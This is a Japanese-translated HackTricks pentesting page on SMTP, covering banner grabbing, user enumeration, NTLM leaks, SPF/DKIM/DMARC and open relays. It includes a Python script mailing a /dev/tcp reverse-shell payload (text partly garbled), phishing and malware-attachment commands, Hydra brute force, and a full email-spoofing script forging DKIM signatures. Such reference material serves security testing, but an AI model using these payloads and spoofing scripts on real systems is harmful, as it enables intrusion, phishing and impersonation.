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README.md	Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw	2024-08-04 15:19:55 +00:00
smtp-commands.md	Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw	2024-08-04 15:19:55 +00:00
smtp-smuggling.md	Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat	2024-09-19 16:42:19 +00:00

README.md

25,465,587 - Pentesting SMTP/s

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{% endhint %}

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

基本情報

シンプルメール転送プロトコル（SMTP）は、電子メールの送受信に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限のため、SMTPはしばしばPOP3またはIMAPと一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。

実際には、電子メールプログラムが電子メールを送信するためにSMTPを使用し、受信するためにPOP3またはIMAPを利用することが一般的です。Unixベースのシステムでは、sendmailが電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、Microsoft ExchangeはSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。

デフォルトポート: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

もし被害者にメールを送信させる機会がある（例えば、ウェブページのコンタクトフォームを通じて）、それを行ってください。なぜなら、メールのヘッダーを見て被害者の内部トポロジーについて学ぶことができるからです。

また、存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得することもできます（サーバーは攻撃者にNDNメールを送信します）。ただし、許可されたアドレスからメールを送信し（SPFポリシーを確認）、NDNメッセージを受信できることを確認してください。

さらに、異なる内容を送信して、ヘッダーにより興味深い情報を見つけることを試みるべきです。例えば： X-Virus-Scanned: by av.domain.com
EICARテストファイルを送信してください。
AVを検出することで、既知の脆弱性を悪用することができるかもしれません。

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

組織のMXサーバーを見つける

dig +short mx google.com

列挙

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - 情報漏洩

サーバーがNTLM認証（Windows）をサポートしている場合、機密情報（バージョン）を取得できます。詳細はこちらを参照してください。

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin smtp-ntlm-info.nse

内部サーバー名 - 情報漏洩

Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

スニッフィング

ポート25のパケットからパスワードをスニッフィングできるか確認してください。

認証ブルートフォース

ユーザー名ブルートフォース列挙

認証は常に必要ではありません

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

自動ツール

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

DSNレポート

配信状況通知レポート: 組織に無効なアドレスにメールを送信すると、組織はそのアドレスが無効であることを通知し、メールを返送します。返送されたメールのヘッダーには、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報など、可能性のある機密情報が含まれます。

コマンド

Linuxコンソールからのメール送信

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Pythonを使ったメール送信

ここにPythonコード

```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTPスムーグリング

SMTPスムーグリングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした（保護に関する詳細は次のセクションを参照してください）。SMTPスムーグリングの詳細については、以下を確認してください：

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## メールスプーフィング対策

組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。

**これらの対策に関する完全なガイド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。

### SPF

{% hint style="danger" %}
SPF [は2014年に「非推奨」となりました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。
{% endhint %}

**送信者ポリシーフレームワーク**（SPF）は、メール転送エージェント（MTA）が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限を持っているかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することが許可された**さまざまな「**メカニズム**」が含まれています。

#### メカニズム

[Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)から：

| メカニズム | 説明                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。                                                                                                                                                                                                                                  |
| A         | ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。                                                                                                                                                                                                                   |
| IP4       | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。                                                                                                                                                                                                                                                                              |
| IP6       | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。                                                                                                                                                                                                                                                                              |
| MX        | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから来ます）。                                                                                                                                                                          |
| PTR       | クライアントのアドレスのドメイン名（PTRレコード）が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合（前方確認済み逆DNS）、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。                                                                                     |
| EXISTS    | 指定されたドメイン名が任意のアドレスに解決される場合、一致します（解決されるアドレスに関係なく）。これはめったに使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。                                                                                                                           |
| INCLUDE   | 別のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。                                                                                     |
| REDIRECT  | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |

**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます（したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します）。\
通常、**各SPFポリシーの最後に**、**\~all**または**-all**のようなものが記載されています。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない（\~）または拒否する（-）としてタグ付けすべきことを示します。**

#### クオリファイア

ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます：

* **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。
* **`?`**: NEUTRAL結果を表し、NONE（特定のポリシーなし）と同様に扱われます。
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
* **`-`**: FAILを示し、メールは完全に拒否されるべきことを示唆します。

次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください：
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。現在、メールが有効なSPFレコードを持たないドメインから送信される場合、おそらく自動的に拒否される/信頼されていないとマークされるでしょう。

ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIMは、外部のメール転送エージェント（MTA）による検証を可能にするために、送信メールに署名するために利用されます。これは、DNSからドメインの公開鍵を取得することによって行われます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。

例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらは、メールヘッダーのDKIM-Signatureに見つけることができます。例: d=gmail.com;s=20120113。

この情報を取得するためのコマンドは次のようになります:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを定め、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを示します。

DMARCレコードを取得するには、サブドメイン_dmarcをクエリする必要があります

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC タグ

タグ名	目的	サンプル
v	プロトコルバージョン	v=DMARC1
pct	フィルタリングの対象となるメッセージの割合	pct=20
ruf	法医学レポートの報告URI	ruf=mailto:authfail@example.com
rua	集計レポートの報告URI	rua=mailto:aggrep@example.com
p	組織ドメインのポリシー	p=quarantine
sp	ODのサブドメインのポリシー	sp=reject
adkim	DKIMの整合性モード	adkim=s
aspf	SPFの整合性モード	aspf=r

サブドメインについては？

こちら から。
メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。
以下は、元々openspf.orgに投稿されたもので、こういった情報のための素晴らしいリソースでした。

デーモンの質問: サブドメインについては？

pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか？いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全ての顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。

したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加するべきです。

ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: * IN TXT "v=spf1 -all"

これは理にかなっています - サブドメインは異なる地理的場所にあり、非常に異なるSPF定義を持つ可能性があります。

オープンリレー

メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、受信者によって信頼されるリレーサーバーを使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどのIP範囲が許可されるべきかを完全に理解していないことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こし、セキュリティ評価で頻繁に指摘されるリスクとなります。

特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、任意のIPアドレスからの接続を許可することです。これは、SMTPサーバーのmynetworksパラメータをすべてのIPアドレスを受け入れるように設定することで行われます。

mynetworks = 0.0.0.0/0

メールサーバーがオープンリレーであるかどうかを確認するために（これは外部ソースからのメールを転送できることを意味します）、nmapツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。nmapを使用してポート25でサーバー（例えば、IP 10.10.10.10）に対して詳細スキャンを実行するコマンドは次のとおりです：

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

ツール

https://github.com/serain/mailspoof SPFおよびDMARCの誤設定をチェック
https://pypi.org/project/checkdmarc/ SPFおよびDMARCの設定を自動的に取得

スプーフィングメールを送信

または、ツールを使用することもできます:

https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} もしdkim python libを使用してキーを解析する際にエラーが発生した場合は、以下のものを自由に使用してください。
注意: これは、何らかの理由でopensslプライベートキーがdkimによって解析できない場合に迅速なチェックを行うための簡易的な修正です。

{% endhint %}

または手動で行うこともできます：

{% tabs %} {% tab title="PHP" %}

# これは署名されていないメッセージを送信します
mail("your_email@gmail.com", "テスト件名！", "こんにちは！これはテストです", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

More info

これらの保護に関する詳細情報は https://seanthegeek.net/459/demystifying-dmarc/ で確認できます。

Other phishing indicators

ドメインの年齢
IPアドレスを指すリンク
リンク操作技術
疑わしい（一般的でない）添付ファイル
壊れたメールコンテンツ
メールヘッダーと異なる値の使用
有効で信頼できるSSL証明書の存在
ウェブコンテンツフィルタリングサイトへのページの提出

Exfiltration through SMTP

データをSMTP経由で送信できる場合は これを読んでください。

Config file

Postfix

通常、インストールされている場合、/etc/postfix/master.cf には、例えば新しいメールがユーザーによって受信されたときに実行されるスクリプトが含まれています。例えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} という行は、ユーザーmarkが新しいメールを受信した場合に/etc/postfix/filteringが実行されることを意味します。

Other config files:

sendmail.cf
submit.cf

参考文献

HackTricks 自動コマンド

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。

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{% hint style="success" %} AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
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{% endhint %}

README.md Unescape Escape

25,465,587 - Pentesting SMTP/s

基本情報

EMAIL Headers

Basic actions

Banner Grabbing/Basic connection

組織のMXサーバーを見つける

列挙

NTLM Auth - 情報漏洩

内部サーバー名 - 情報漏洩

スニッフィング

認証ブルートフォース

ユーザー名ブルートフォース列挙

RCPT TO

VRFY

EXPN

自動ツール

DSNレポート

コマンド

Linuxコンソールからのメール送信

Pythonを使ったメール送信

create message object instance

setup the parameters of the message

payload

Uncomment if log-in with authencation

server.login(msg['From'], password)

DKIM (DomainKeys Identified Mail)

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC タグ

サブドメインについては？

オープンリレー

ツール

スプーフィングメールを送信

More info

Other phishing indicators

Exfiltration through SMTP

Config file

Postfix

参考文献

HackTricks 自動コマンド

README.md